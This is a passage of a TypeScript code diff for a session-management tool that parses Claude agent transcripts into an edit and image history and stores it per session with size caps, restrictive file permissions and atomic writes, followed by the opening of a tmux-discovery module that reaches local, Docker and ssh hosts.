+ * Image paths of a `SendUserFile` result (`{ caption, attachments: [{ path }] }`): the
+ * files claude delivered to the user, which is how a session shows generated images.
+ */
+function sentImagePaths(result: unknown): string[] {
+  if (!isRecord(result) || !Array.isArray(result.attachments)) return [];
+  const out: string[] = [];
+  for (const a of result.attachments) {
+    if (!isRecord(a) || typeof a.path !== 'string' || !a.path.startsWith('/')) continue;
+    if (IMAGE_PATH_RE.test(a.path) && !out.includes(a.path)) out.push(a.path);
+  }
+  return out;
+}
+
+/** The text of a `tool_result` block's content (a string or a list of text blocks). */
+function blockText(content: unknown): string {
+  if (typeof content === 'string') return content;
+  if (!Array.isArray(content)) return '';
+  return content
+    .map((b) => (isRecord(b) && typeof b.text === 'string' ? b.text : ''))
+    .filter(Boolean)
+    .join('\n');
+}
+
+/**
+ * Parse transcript lines into edit records and Bash image candidates.
+ *
+ * @param text complete JSONL lines; a first line cut mid-record (a byte range starting
+ *   inside it) and anything else that does not parse is skipped.
+ * @param pending unanswered Bash calls from the previous chunk.
+ */
+export function parseClaudeEditLines(text: string, pending: readonly PendingBash[] = []): EditParseResult {
+  const open = new Map<string, PendingBash>(pending.map((p) => [p.id, p]));
+  const records: EditRecord[] = [];
+  const candidates: ImageCandidate[] = [];
+
+  for (const rawLine of text.split('\n')) {
+    const line = rawLine.trim();
+    if (!line) continue;
+    let rec: unknown;
+    try {
+      rec = JSON.parse(line);
+    } catch {
+      continue;
+    }
+    if (!isRecord(rec)) continue;
+    const message = rec.message;
+    const content = isRecord(message) ? message.content : undefined;
+    if (!Array.isArray(content)) continue;
+    const parsedTs = typeof rec.timestamp === 'string' ? Date.parse(rec.timestamp) : NaN;
+    const ts = Number.isFinite(parsedTs) ? parsedTs : 0;
+    const agentId = typeof rec.agentId === 'string' && rec.agentId ? rec.agentId : undefined;
+    const cwd = typeof rec.cwd === 'string' ? rec.cwd : '';
+
+    if (rec.type === 'assistant') {
+      for (const block of content) {
+        if (!isRecord(block) || block.type !== 'tool_use' || block.name !== 'Bash') continue;
+        if (typeof block.id !== 'string' || !isRecord(block.input)) continue;
+        const command = block.input.command;
+        if (typeof command !== 'string') continue;
+        if ([block.id, cwd, agentId ?? ''].some((f) => f.length > MAX_PENDING_FIELD_CHARS)) continue;
+        const entry: PendingBash = { id: block.id, ts, command: command.slice(0, MAX_PENDING_COMMAND_CHARS), cwd };
+        if (agentId) entry.agentId = agentId;
+        open.delete(block.id);
+        open.set(block.id, entry);
+        while (open.size > MAX_PENDING_BASH) open.delete(open.keys().next().value as string);
+      }
+      continue;
+    }
+
+    if (rec.type !== 'user') continue;
+    const results = content.filter(
+      (b): b is Record<string, unknown> => isRecord(b) && b.type === 'tool_result' && typeof b.tool_use_id === 'string'
+    );
+    // `toolUseResult` describes the line's result; it is unambiguous only for one block.
+    const single = results.length === 1;
+    for (const block of results) {
+      const id = block.tool_use_id as string;
+      if (single) {
+        const edit = toEditRecord(id, ts, rec.toolUseResult, agentId);
+        if (edit) records.push(edit);
+      }
+      const sent = single ? sentImagePaths(rec.toolUseResult) : [];
+      if (sent.length > 0) {
+        const candidate: ImageCandidate = { toolUseId: id, start: ts, end: ts, paths: sent, sent: true };
+        if (agentId) candidate.agentId = agentId;
+        candidates.push(candidate);
+      }
+      const call = open.get(id);
+      if (!call) continue;
+      open.delete(id);
+      const r = single ? rec.toolUseResult : undefined;
+      let stdout: string;
+      let stderr = '';
+      if (isRecord(r) && (typeof r.stdout === 'string' || typeof r.stderr === 'string')) {
+        stdout = typeof r.stdout === 'string' ? r.stdout : '';
+        stderr = typeof r.stderr === 'string' ? r.stderr : '';
+      } else {
+        stdout = blockText(block.content);
+      }
+      const paths = extractImagePathCandidates(call.command, stdout, stderr, call.cwd);
+      if (paths.length === 0) continue;
+      const candidate: ImageCandidate = { toolUseId: id, start: call.ts, end: ts, paths };
+      if (call.agentId) candidate.agentId = call.agentId;
+      candidates.push(candidate);
+    }
+  }
+
+  return { records, candidates, pending: [...open.values()] };
+}

src/edit-history-store.ts

@@ -0,0 +1,678 @@
+/**
+ * @fileoverview Per-session edit history: the parsed edits and Bash images of one claude
+ * session, plus where in each transcript file reading stopped.
+ *
+ * Sources are the main transcript (`main`) and each subagent transcript
+ * (`subagents/agent-<id>.jsonl`). Each has a cursor:
+ *   - `offset`: the next byte to read forward; always a line boundary.
+ *   - `floor`: the lowest byte already parsed; > 0 while older lines are unread
+ *                ("ältere laden" reads `[floor − budget, floor)`, see `olderRange`).
+ * The reader (`edit-history-local-source.ts`) reads forward from each `offset` of the
+ * current conversation, a file without one from `budget` bytes before its end, and hands the
+ * bytes to `apply`. Cuts happen only at `\n`, which never occurs inside a UTF-8 sequence, so
+ * multibyte characters split by a chunk boundary are never decoded half.
+ *
+ * A first read of a file starts `budget` bytes before its end (transcripts reach 100 MB+),
+ * drops the cut first line and leaves `floor` there. A line longer than the budget is
+ * skipped instead of blocking the cursor, reading forward (`midLine`) and backward
+ * (`floorMidLine`); the line after it (forward) or before it (backward) is read whole.
+ * That needs every chunk to be a full budget unless it reaches the file's end (forward) or
+ * start (older): a chunk with no line end then means one line longer than the budget. The
+ * caller does not hand over a chunk that a budget shared by several files cut short.
+ *
+ * A new conversation (`/clear`, resume) arrives as a new `transcriptId`: cursors and
+ * pending Bash calls start over, entries stay. Entries are capped at {@link MAX_ENTRIES}
+ * and {@link MAX_STORE_BYTES} of diff text; the oldest by time are dropped. Besides them
+ * the file holds one cursor per transcript file of the current conversation, at most
+ * {@link MAX_PENDING_BASH} unanswered Bash calls and at most {@link MAX_AGENTS} subagent labels.
+ *
+ * ⚠️ The file holds secrets: a diff carries whatever the agent wrote, keys and `.env`
+ * contents included. So, like `intents.json`, it is written 0600 via tmp+rename, bounded,
+ * deleted with the session (`remove()`; `sweep()` at startup removes files no session owns),
+ * never fed to `/api/search`, and refused by the attachment, folder and download routes through
+ * `isSensitivePath` (`web/sensitive-path.ts`). `load()` takes the file as untrusted: past
+ * {@link MAX_FILE_BYTES} it is not parsed, and every part is rebuilt under the same bounds.
+ *
+ * Persisted as JSON under `dataPath('edit-history', '<sessionId>.json')`, written debounced.
+ *
+ * Tests: `test/edit-history-store.test.ts`.
+ *
+ * @module edit-history-store
+ */
+
+import { randomBytes } from 'node:crypto';
+import { mkdir, readdir, readFile, rename, stat, unlink, writeFile } from 'node:fs/promises';
+import { join } from 'node:path';
+import { dataPath } from './config/instance.js';
+import {
+  capHunks,
+  MAX_HUNK_BYTES,
+  MAX_PENDING_BASH,
+  MAX_PENDING_COMMAND_CHARS,
+  MAX_PENDING_FIELD_CHARS,
+  parseClaudeEditLines,
+  type EditRecord,
+  type EditTool,
+  type ImageCandidate,
+  type PendingBash,
+} from './edit-history-parse.js';
+
+export const MAX_ENTRIES = 500;
+/** Diff text (and paths) kept per session; see {@link entryBytes}. */
+export const MAX_STORE_BYTES = 4 * 1024 * 1024;
+/** Longest string kept from a subagent's `meta.json` field. */
+export const MAX_AGENT_META_CHARS = 1024;
+/**
+ * Subagent labels kept; past it the oldest one no entry uses is dropped. One more than
+ * {@link MAX_ENTRIES}, so besides the newest label there always is one.
+ */
+export const MAX_AGENTS = MAX_ENTRIES + 1;
+/** Bytes read per file and pass (first read, forward step, "older" step). */
+export const READ_BUDGET_BYTES = 8 * 1024 * 1024;
+/**
+ * A store file larger than this is not parsed (starts empty). One written within the caps
+ * above stays far below it; JSON escaping at most doubles ordinary text.
+ */
+export const MAX_FILE_BYTES = 32 * 1024 * 1024;
+export const MAIN_SOURCE = 'main';
+const SAVE_DEBOUNCE_MS = 1000;
+const FILE_VERSION = 1;
+const NL = 0x0a;
+/** A transcript id as the reader takes it (`<id>.jsonl`): no path separators. */
+const TRANSCRIPT_ID = /^[A-Za-z0-9._-]+$/;
+/**
+ * Names this process's tmp files (`<id>.json.<tag>.tmp`); any other tmp file is left over from
+ * an earlier run (`sweep`), even one whose pid this process has again (a container's pid 1).
+ */
+export const TMP_TAG = `${process.pid}-${randomBytes(4).toString('hex')}`;
+
+/** `bash`: an image a Bash call wrote; `sent`: an image claude delivered to the user. */
+export type EditHistoryTool = EditTool | 'bash' | 'sent';
+
+export interface EditHistoryEntry extends Omit<EditRecord, 'tool'> {
+  tool: EditHistoryTool;
+}
+
+export interface SourceCursor {
+  offset: number;
+  floor: number;
+  /** The next forward read starts inside a line longer than the budget; skip to its end. */
+  midLine?: boolean;
+  /** `floor` lies inside a line longer than the budget; the next older read drops its tail. */
+  floorMidLine?: boolean;
+}
+
+export interface AgentMeta {
+  description: string;
+  agentType: string;
+  worktreePath?: string;
+  worktreeBranch?: string;
+}
+
+export interface ByteRange {
+  offset: number;
+  len: number;
+}
+
+export interface ApplyInput {
+  transcriptId: string;
+  /** `main` or `subagents/agent-<id>.jsonl`. */
+  source: string;
+  startOffset: number;
+  chunk: Buffer;
+  /** Size of the file when the chunk was read. */
+  size: number;
+}
+
+export interface ApplyResult {
+  added: number;
+  candidates: ImageCandidate[];
+}
+
+export interface ConfirmedImage {
+  toolUseId: string;
+  path: string;
+  ts: number;
+  agentId?: string;
+  tool?: 'bash' | 'sent';
+}
+
+export interface EditHistoryStoreOptions {
+  /** Directory holding `<sessionId>.json`; default `dataPath('edit-history')`. */
+  dir?: string;
+  debounceMs?: number;
+}
+
+interface StoreFile {
+  version: number;
+  sessionId: string;
+  transcriptId: string | null;
+  cursors: Record<string, SourceCursor>;
+  pendingBash: PendingBash[];
+  agents: Record<string, AgentMeta>;
+  entries: EditHistoryEntry[];
+}
+
+function isObj(v: unknown): v is Record<string, unknown> {
+  return typeof v === 'object' && v !== null && !Array.isArray(v);
+}
+
+/** What an entry costs against {@link MAX_STORE_BYTES}: its strings and diff lines, plus a fixed overhead. */
+export function entryBytes(e: EditHistoryEntry): number {
+  let n = 128 + Buffer.byteLength(e.id) + Buffer.byteLength(e.path) + Buffer.byteLength(e.agentId ?? '');
+  for (const h of e.hunks) for (const l of h.lines) n += Buffer.byteLength(l) + 3;
+  return n;
+}
+
+function metaString(v: unknown): string | undefined {
+  return typeof v === 'string' && v ? v.slice(0, MAX_AGENT_META_CHARS) : undefined;
+}
+
+/** Parse an `agent-<id>.meta.json` text; null when it is not an object. */
+export function parseAgentMeta(text: string): AgentMeta | null {
+  try {
+    return agentMetaFrom(JSON.parse(text));
+  } catch {
+    return null;
+  }
+}
+
+function isOffset(v: unknown): v is number {
+  return Number.isSafeInteger(v) && (v as number) >= 0;
+}
+
+// The loaders below take the persisted file as untrusted: a hand-edited or damaged store
+// loses the broken parts instead of failing every request or stalling a cursor.
+
+function agentMetaFrom(raw: unknown): AgentMeta | null {
+  if (!isObj(raw)) return null;
+  const meta: AgentMeta = {
+    description: metaString(raw.description) ?? '',
+    agentType: metaString(raw.agentType) ?? '',
+  };
+  const worktreePath = metaString(raw.worktreePath);
+  const worktreeBranch = metaString(raw.worktreeBranch);
+  if (worktreePath) meta.worktreePath = worktreePath;
+  if (worktreeBranch) meta.worktreeBranch = worktreeBranch;
+  return meta;
+}
+
+function cursorFrom(raw: unknown): SourceCursor | null {
+  if (!isObj(raw) || !isOffset(raw.offset) || !isOffset(raw.floor) || raw.floor > raw.offset) return null;
+  const cursor: SourceCursor = { offset: raw.offset, floor: raw.floor };
+  if (raw.midLine === true) cursor.midLine = true;
+  if (raw.floorMidLine === true) cursor.floorMidLine = true;
+  return cursor;
+}
+
+const loadedField = (v: unknown): v is string => typeof v === 'string' && v.length <= MAX_PENDING_FIELD_CHARS;
+
+function pendingBashFrom(raw: unknown): PendingBash | null {
+  if (!isObj(raw)) return null;
+  const { id, ts, command, cwd, agentId } = raw;
+  if (!loadedField(id) || !Number.isFinite(ts) || typeof command !== 'string' || !loadedField(cwd)) return null;
+  if (agentId !== undefined && !loadedField(agentId)) return null;
+  const pending: PendingBash = { id, ts: ts as number, command: command.slice(0, MAX_PENDING_COMMAND_CHARS), cwd };
+  if (agentId) pending.agentId = agentId;
+  return pending;
+}
+
+const ENTRY_KINDS = new Set(['code', 'image']);
+const ENTRY_TOOLS = new Set(['Edit', 'Write', 'edit', 'bash', 'sent']);
+const countFrom = (v: unknown): number => (Number.isSafeInteger(v) && (v as number) >= 0 ? (v as number) : 0);
+
+/**
+ * A loaded entry rebuilt from its known fields: unknown fields and non-string diff lines are
+ * dropped and the per-edit {@link MAX_HUNK_BYTES} is applied again; null when it is unusable.
+ */
+function entryFrom(raw: unknown): EditHistoryEntry | null {
+  if (!isObj(raw) || typeof raw.id !== 'string' || !raw.id || typeof raw.path !== 'string' || !raw.path) return null;
+  if (!Number.isFinite(raw.ts) || !ENTRY_KINDS.has(raw.kind as string) || !ENTRY_TOOLS.has(raw.tool as string)) {
+    return null;
+  }
+  if (!Array.isArray(raw.hunks)) return null;
+  const { hunks, truncated } = capHunks(raw.hunks);
+  const entry: EditHistoryEntry = {
+    id: raw.id,
+    ts: raw.ts as number,
+    path: raw.path,
+    kind: raw.kind as EditHistoryEntry['kind'],
+    tool: raw.tool as EditHistoryTool,
+    created: raw.created === true,
+    added: countFrom(raw.added),
+    removed: countFrom(raw.removed),
+    hunks,
+    truncated: truncated || raw.truncated === true,
+  };
+  if (typeof raw.agentId === 'string' && raw.agentId) entry.agentId = raw.agentId;
+  return entry;
+}
+
+export class EditHistoryStore {
+  readonly sessionId: string;
+  private readonly file: string;
+  private readonly debounceMs: number;
+  private transcriptId: string | null = null;
+  private cursors = new Map<string, SourceCursor>();
+  private pendingBash: PendingBash[] = [];
+  private agents = new Map<string, AgentMeta>();
+  private entries = new Map<string, EditHistoryEntry>();
+  /** Sum of {@link entryBytes} over `entries`. */
+  private bytes = 0;
+  private saveTimer: NodeJS.Timeout | null = null;
+  /** The last queued write; `remove()` waits for it. */
+  private writing: Promise<void> | null = null;
+  private removed = false;
+
+  constructor(sessionId: string, opts: EditHistoryStoreOptions = {}) {
+    this.sessionId = sessionId;
+    this.file = join(opts.dir ?? dataPath('edit-history'), `${sessionId}.json`);
+    this.debounceMs = opts.debounceMs ?? SAVE_DEBOUNCE_MS;
+  }
+
+  /**
+   * A store with the persisted state of `sessionId`; empty when the file is missing,
+   * unreadable or larger than {@link MAX_FILE_BYTES}.
+   */
+  static async load(sessionId: string, opts: EditHistoryStoreOptions = {}): Promise<EditHistoryStore> {
+    const store = new EditHistoryStore(sessionId, opts);
+    let data: unknown;
+    try {
+      if ((await stat(store.file)).size > MAX_FILE_BYTES) return store;
+      data = JSON.parse(await readFile(store.file, 'utf-8'));
+    } catch {
+      return store;
+    }
+    if (!isObj(data)) return store;
+    if (data.version !== FILE_VERSION) return store;
+    const f = data as unknown as StoreFile;
+    // The sync builds the previous transcript's path from it (`/clear`), so only a plain id counts.
+    store.transcriptId =
+      typeof f.transcriptId === 'string' && TRANSCRIPT_ID.test(f.transcriptId) ? f.transcriptId : null;
+    // Cursors are offsets into that conversation's files; without it they mean nothing.
+    const cursors = store.transcriptId !== null && isObj(f.cursors) ? f.cursors : {};
+    for (const [k, raw] of Object.entries(cursors)) {
+      const cursor = cursorFrom(raw);
+      if (cursor) store.cursors.set(k, cursor);
+    }
+    if (Array.isArray(f.pendingBash)) {
+      store.pendingBash = f.pendingBash
+        .map(pendingBashFrom)
+        .filter((p): p is PendingBash => p !== null)
+        .slice(-MAX_PENDING_BASH);
+    }
+    if (Array.isArray(f.entries)) {
+      store.addRecords(f.entries.map(entryFrom).filter((e): e is EditHistoryEntry => e !== null));
+    }
+    for (const [k, raw] of Object.entries(isObj(f.agents) ? f.agents : {})) {
+      const meta = k.length <= MAX_AGENT_META_CHARS ? agentMetaFrom(raw) : null;
+      if (meta) store.putAgent(k, meta);
+    }
+    return store;
+  }
+
+  /**
+   * Delete the stored history of every session `keep` rejects, and tmp files other processes
+   * left behind (startup: a crash between removing a session's record and deleting its file,
+   * or mid-write; an older build).
+   * Returns how many sessions' files were deleted.
+   */
+  static async sweep(
+    keep: (sessionId: string) => boolean,
+    opts: Pick<EditHistoryStoreOptions, 'dir'> = {}
+  ): Promise<number> {
+    const dir = opts.dir ?? dataPath('edit-history');
+    let names: string[];
+    try {
+      names = await readdir(dir);
+    } catch {
+      return 0;
+    }
+    let removed = 0;
+    for (const name of names) {
+      const tmp = /\.json\.[\w-]+\.tmp$/.test(name);
+      const stale = tmp
+        ? !name.endsWith(`.json.${TMP_TAG}.tmp`)
+        : name.endsWith('.json') && !keep(name.slice(0, -'.json'.length));
+      if (!stale) continue;
+      await unlink(join(dir, name)).catch(() => undefined);
+      if (!tmp) removed++;
+    }
+    return removed;
+  }
+
+  /** Delete the stored history of `sessionId` without loading it. */
+  static async delete(sessionId: string, opts: Pick<EditHistoryStoreOptions, 'dir'> = {}): Promise<void> {
+    await new EditHistoryStore(sessionId, opts).remove();
+  }
+
+  getTranscriptId(): string | null {
+    return this.transcriptId;
+  }
+
+  getCursor(source: string): SourceCursor | undefined {
+    const c = this.cursors.get(source);
+    return c ? { ...c } : undefined;
+  }
+
+  /**
+   * True while any source has unread older lines that could still be shown. At a cap (no
+   * room left for another entry) an older edit would be dropped the moment it is read, so
+   * there is nothing more to load.
+   */
+  get backfillTruncated(): boolean {
+    if (this.entries.size >= MAX_ENTRIES || this.bytes > MAX_STORE_BYTES - MAX_HUNK_BYTES) return false;
+    for (const c of this.cursors.values()) if (c.floor > 0) return true;
+    return false;
+  }
+
+  /** Entries newest first. */
+  list(): EditHistoryEntry[] {
+    return [...this.entries.values()].sort((a, b) => b.ts - a.ts);
+  }
+
+  get(id: string): EditHistoryEntry | undefined {
+    return this.entries.get(id);
+  }
+
+  getAgents(): Record<string, AgentMeta> {
+    return Object.fromEntries(this.agents);
+  }
+
+  hasAgentMeta(agentId: string): boolean {
+    return this.agents.has(agentId);
+  }
+
+  /** Record a subagent's `meta.json`; ignored when it does not parse. */
+  setAgentMeta(agentId: string, metaText: string): void {
+    const meta = this.removed ? null : parseAgentMeta(metaText);
+    if (!meta) return;
+    this.putAgent(agentId, meta);
+    this.scheduleSave();
+  }
+
+  /** The next older range of `source` ("ältere laden"), or null when it is read to its start. */
+  olderRange(source: string, budget = READ_BUDGET_BYTES): ByteRange | null {
+    const cursor = this.cursors.get(source);
+    if (!cursor || cursor.floor <= 0) return null;
+    const offset = Math.max(0, cursor.floor - budget);
+    return { offset, len: cursor.floor - offset };
+  }
+
+  /** Every source with a cursor in the current conversation. */
+  knownSources(): string[] {
+    return [...this.cursors.keys()];
+  }
+
+  /** Sources with older lines left. */
+  sourcesWithOlder(): string[] {
+    return [...this.cursors.entries()].filter(([, c]) => c.floor > 0).map(([s]) => s);
+  }
+
+  /**
+   * A source whose file is gone (a deleted subagent transcript): its cursor goes, so it no
+   * longer offers older lines. Its entries stay.
+   */
+  dropSource(source: string): void {
+    if (this.removed || !this.cursors.delete(source)) return;
+    this.scheduleSave();
+  }
+
+  /**
+   * Apply a forward chunk: read from the source's cursor, or, without one, its last `budget`
+   * bytes; a full budget unless it reaches the file's end. A file that shrank below its cursor
+   * (replaced) loses the cursor and is read from its end next time. Returns new entries and
+   * Bash image candidates.
+   */
+  apply(input: ApplyInput): ApplyResult {
+    if (this.removed) return { added: 0, candidates: [] };
+    const { transcriptId, source, startOffset, chunk, size } = input;
+    if (transcriptId !== this.transcriptId) {
+      this.transcriptId = transcriptId;
+      this.cursors.clear();
+      this.pendingBash = [];
+    }
+    let cursor = this.cursors.get(source);
+    if (cursor && size < cursor.offset) {
+      this.cursors.delete(source);
+      cursor = undefined;
+    }
+    if (cursor && startOffset !== cursor.offset) return { added: 0, candidates: [] };
+
+    const atEof = startOffset + chunk.length >= size;
+    // Bytes before `from` belong to a line that started before this chunk.
+    let from = 0;
+    if (cursor ? cursor.midLine : startOffset > 0) {
+      const nl = chunk.indexOf(NL);
+      if (nl === -1) {
+        // Still inside that line: move past it unless it is the line being written. A first
+        // read began inside it, so the floor does too.
+        if (!atEof) this.setCursor(source, cursor, startOffset + chunk.length, startOffset, true, true);
+        return { added: 0, candidates: [] };
+      }
+      from = nl + 1;
+    }
+    const lastNl = chunk.lastIndexOf(NL);
+    if (lastNl < from) {
+      if (from > 0) {
+        // The skipped (or cut first) line ended here; the next one is read from its start.
+        this.setCursor(source, cursor, startOffset + from, startOffset + from, false);
+      } else if (!atEof && chunk.length > 0) {
+        // One line longer than the budget: skip it instead of re-reading it forever.
+        this.setCursor(source, cursor, startOffset + chunk.length, startOffset, true);
+      } else if (!cursor) {
+        this.setCursor(source, undefined, startOffset, startOffset, false);
+      }
+      return { added: 0, candidates: [] };
+    }
+    const end = lastNl + 1;
+    this.setCursor(source, cursor, startOffset + end, startOffset + from, false);
+    const parsed = parseClaudeEditLines(chunk.subarray(from, end).toString('utf8'), this.pendingBash);
+    this.pendingBash = parsed.pending;
+    const added = this.addRecords(parsed.records);
+    this.scheduleSave();
+    return { added, candidates: parsed.candidates };
+  }
+
+  /**
+   * Apply a chunk read at `olderRange`: a full budget unless it reaches the file's start. It
+   * ends at the floor, which is a line start, or with `floorMidLine` lies inside a line longer
+   * than the budget (its part in this chunk is dropped).
+   */
+  applyOlder(input: ApplyInput): ApplyResult {
+    const { transcriptId, source, startOffset, chunk } = input;
+    const cursor = this.removed ? undefined : this.cursors.get(source);
+    if (transcriptId !== this.transcriptId || !cursor || startOffset + chunk.length !== cursor.floor) {
+      return { added: 0, candidates: [] };
+    }
+    const none = { added: 0, candidates: [] };
+    let end = chunk.length;
+    if (cursor.floorMidLine) {
+      const lastNl = chunk.lastIndexOf(NL);
+      if (lastNl === -1 && startOffset > 0) {
+        // Still inside the long line.
+        cursor.floor = startOffset;
+        this.scheduleSave();
+        return none;
+      }
+      // The long line starts at `end`: drop its part.
+      end = lastNl + 1;
+      delete cursor.floorMidLine;
+    }
+    let from = 0;
+    if (startOffset > 0) {
+      // The newline at `end - 1` closes a line that may have started before this chunk.
+      const nl = chunk.subarray(0, end).indexOf(NL);
+      if (nl === -1 || nl === end - 1) {
+        if (end < chunk.length) {
+          // It ends where the long line starts: the next block, ending there, holds it whole.
+          cursor.floor = startOffset + end;
+        } else {
+          // No line starts in this chunk: it lies inside one line longer than the budget. Skip it.
+          cursor.floor = startOffset;
+          cursor.floorMidLine = true;
+        }
+        this.scheduleSave();
+        return none;
+      }
+      from = nl + 1;
+    }
+    cursor.floor = startOffset + from;
+    // Calls whose results lie in already-read newer lines cannot be paired here.
+    const parsed = parseClaudeEditLines(chunk.subarray(from, end).toString('utf8'));
+    const added = this.addRecords(parsed.records);
+    this.scheduleSave();
+    return { added, candidates: parsed.candidates };
+  }
+
+  /** Add Bash images whose mtime was confirmed inside their call's window. */
+  addImageEntries(images: readonly ConfirmedImage[]): number {
+    if (this.removed) return 0;
+    const records: EditHistoryEntry[] = images.map((img) => {
+      const entry: EditHistoryEntry = {
+        id: `${img.toolUseId}:${img.path}`,
+        ts: img.ts,
+        path: img.path,
+        kind: 'image',
+        tool: img.tool ?? 'bash',
+        created: false,
+        added: 0,
+        removed: 0,
+        hunks: [],
+        truncated: false,
+      };
+      if (img.agentId) entry.agentId = img.agentId;
+      return entry;
+    });
+    const added = this.addRecords(records);
+    if (added) this.scheduleSave();
+    return added;
+  }
+
+  /**
+   * Write pending changes, if any, and wait for a write under way (the store is dropped from
+   * memory and loaded again later). Unlike `flush()`, a store without changes writes nothing.
+   */
+  async settle(): Promise<void> {
+    if (this.saveTimer) return this.flush();
+    await this.writing;
+  }
+
+  /** Write now (cancels a pending debounced write). Writes run one after another. */
+  async flush(): Promise<void> {
+    if (this.saveTimer) {
+      clearTimeout(this.saveTimer);
+      this.saveTimer = null;
+    }
+    const run = (this.writing ?? Promise.resolve()).then(() => this.write());
+    this.writing = run.catch(() => undefined);
+    await run;
+  }
+
+  /** True once {@link remove} ran: the store ignores every later write. */
+  isRemoved(): boolean {
+    return this.removed;
+  }
+
+  /**
+   * Delete the persisted file (session deleted) and forget the content. The store takes no
+   * changes afterwards, so a read still in flight neither writes nor refills it.
+   */
+  async remove(): Promise<void> {
+    this.removed = true;
+    if (this.saveTimer) {
+      clearTimeout(this.saveTimer);
+      this.saveTimer = null;
+    }
+    this.entries.clear();
+    this.bytes = 0;
+    this.cursors.clear();
+    this.pendingBash = [];
+    this.agents.clear();
+    // A write already under way ends first (or sees `removed`), so it cannot rename its
+    // tmp file over the deleted store afterwards.
+    await this.writing;
+    await unlink(this.file).catch(() => undefined);
+  }
+
+  private async write(): Promise<void> {
+    if (this.removed) return;
+    const data: StoreFile = {
+      version: FILE_VERSION,
+      sessionId: this.sessionId,
+      transcriptId: this.transcriptId,
+      cursors: Object.fromEntries(this.cursors),
+      pendingBash: this.pendingBash,
+      agents: Object.fromEntries(this.agents),
+      entries: this.list(),
+    };
+    const dir = join(this.file, '..');
+    await mkdir(dir, { recursive: true, mode: 0o700 });
+    // `mode` applies only to a file being created: the fresh tmp file is 0600, and the rename
+    // makes it the store, so an existing store never keeps wider bits.
+    const tmp = `${this.file}.${TMP_TAG}.tmp`;
+    await writeFile(tmp, JSON.stringify(data), { mode: 0o600 });
+    if (this.removed) {
+      await unlink(tmp).catch(() => undefined);
+      return;
+    }
+    await rename(tmp, this.file);
+  }
+
+  private putAgent(agentId: string, meta: AgentMeta): void {
+    this.agents.delete(agentId);
+    this.agents.set(agentId, meta);
+    if (this.agents.size <= MAX_AGENTS) return;
+    const used = new Set<string>();
+    for (const e of this.entries.values()) if (e.agentId) used.add(e.agentId);
+    for (const id of this.agents.keys()) {
+      if (this.agents.size <= MAX_AGENTS) break;
+      // The newest label has no entries yet: they come with its transcript.
+      if (id !== agentId && !used.has(id)) this.agents.delete(id);
+    }
+  }
+
+  private setCursor(
+    source: string,
+    cursor: SourceCursor | undefined,
+    offset: number,
+    firstFloor: number,
+    midLine: boolean,
+    firstFloorMidLine = false
+  ): void {
+    const next: SourceCursor = { offset, floor: cursor ? cursor.floor : firstFloor };
+    if (midLine) next.midLine = true;
+    if (cursor ? cursor.floorMidLine : firstFloorMidLine) next.floorMidLine = true;
+    this.cursors.set(source, next);
+  }
+
+  private addRecords(records: readonly EditHistoryEntry[]): number {
+    const fresh: string[] = [];
+    for (const r of records) {
+      if (this.entries.has(r.id)) continue;
+      this.entries.set(r.id, r);
+      this.bytes += entryBytes(r);
+      fresh.push(r.id);
+    }
+    if (this.entries.size > MAX_ENTRIES || this.bytes > MAX_STORE_BYTES) {
+      for (const e of [...this.entries.values()].sort((a, b) => a.ts - b.ts)) {
+        if (this.entries.size <= MAX_ENTRIES && this.bytes <= MAX_STORE_BYTES) break;
+        this.entries.delete(e.id);
+        this.bytes -= entryBytes(e);
+      }
+    }
+    // Only what is still there counts: an "older" block past the cap adds nothing.
+    return fresh.filter((id) => this.entries.has(id)).length;
+  }
+
+  private scheduleSave(): void {
+    if (this.removed || this.saveTimer) return;
+    this.saveTimer = setTimeout(() => {
+      this.saveTimer = null;
+      void this.flush().catch((err) => {
+        console.warn(`[EditHistory] Save failed for session ${this.sessionId}:`, err);
+      });
+    }, this.debounceMs);
+    this.saveTimer.unref?.();
+  }
+}

src/foreign-tmux-discovery.ts

@@ -0,0 +1,455 @@
+/**
+ * @fileoverview Runs the foreign-tmux probe at the three locations Codeman
+ * already knows how to reach: this host, inside a container, and across ssh.
+ *
+ * All the judgement lives in `foreign-tmux.ts` (pure). This module is only
+ * transport + caching + the promise that it never throws.
+ *
+ * ## Cost policy
+ *
+ * The home screen shows LOCAL results automatically, so a local scan runs on a
+ * TTL cache: N browser tabs polling every few seconds still trigger at most one
+ * scan per `FOREIGN_CACHE_TTL_MS`. Docker and remote are ON DEMAND only:
+ * opening the home page must never fan out one ssh connection per saved host.
+ *
+ * ## ⚠️ The probe must not cross an extra shell
+ *
+ * The script contains `$TMUX_TMPDIR` and `$(id -u)`, which the INNER shell has to
+ * expand. Local and docker therefore spawn with an argv array, where no outer
+ * shell exists to eat them first. Remote is the exception: the ssh
+ * command line is a string like every other ssh call in this codebase, so the
+ * script is wrapped in SINGLE quotes there, which is exactly why
+ * `buildForeignProbeScript()` may not contain one.
+ *
+ * This was measured, not reasoned: running the probe through `execSync` (which
+ * spawns `sh -c`) expanded `$TMUX_TMPDIR` and `$U` in the OUTER shell, leaving the
+ * inner loop iterating over the literal `/tmux-/*` and reporting zero sessions on
+ * a machine that had three.
+ *
+ * ## A probe that goes wrong still answers
+ *
+ * All three transports go through `runForeignProbe`, which never rejects and hands
+ * back what it read. A timeout has to reach the whole process tree, not just the
+ * `sh` on top (the same rule as `runFetch` in git-fetch.ts): signalling only `sh`
+ * left its tmux child stuck on a stopped server, one more per scan, for as long as
+ * the home screen stayed open. And a scan cut short keeps the rows it already has,
+ * since one bad server must not empty the list of a machine with good ones.
+ *
+ * @module foreign-tmux-discovery
+ */
+
+import { spawn, type ChildProcess } from 'node:child_process';
+import {
+  buildForeignProbeScript,
+  classifyForeignPaneMode,
+  createForeignSignatureMatcher,
+  foreignRemoteShellCommand,
+  foreignSessionId,
+  isAdoptableSessionName,
+  isAdoptableSocketPath,
+  isCodemanOwnedPane,
+  parseForeignProbeOutput,
+} from './foreign-tmux.js';
+import { dockerEngineArgv, readDockerCases, readDockerHosts } from './docker-hosts.js';
+import { buildSshConnectionArgs, readRemoteHosts, remoteSshTarget, shellescape } from './remote-hosts.js';
+import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
+import { resolveTmuxSocketName, getDataDir } from './config/instance.js';
+import {
+  FOREIGN_CACHE_TTL_MS,
+  FOREIGN_PROBE_KILL_GRACE_MS,
+  FOREIGN_PROBE_MAX_BYTES,
+  FOREIGN_PROBE_TIMEOUT_MS,
+} from './config/foreign-tmux.js';
+import type { ForeignDiscoveryResult, ForeignTmuxSession } from './types/foreign-tmux.js';
+import type { DockerCase, DockerHost, RemoteHost, SessionDocker } from './types/session.js';
+
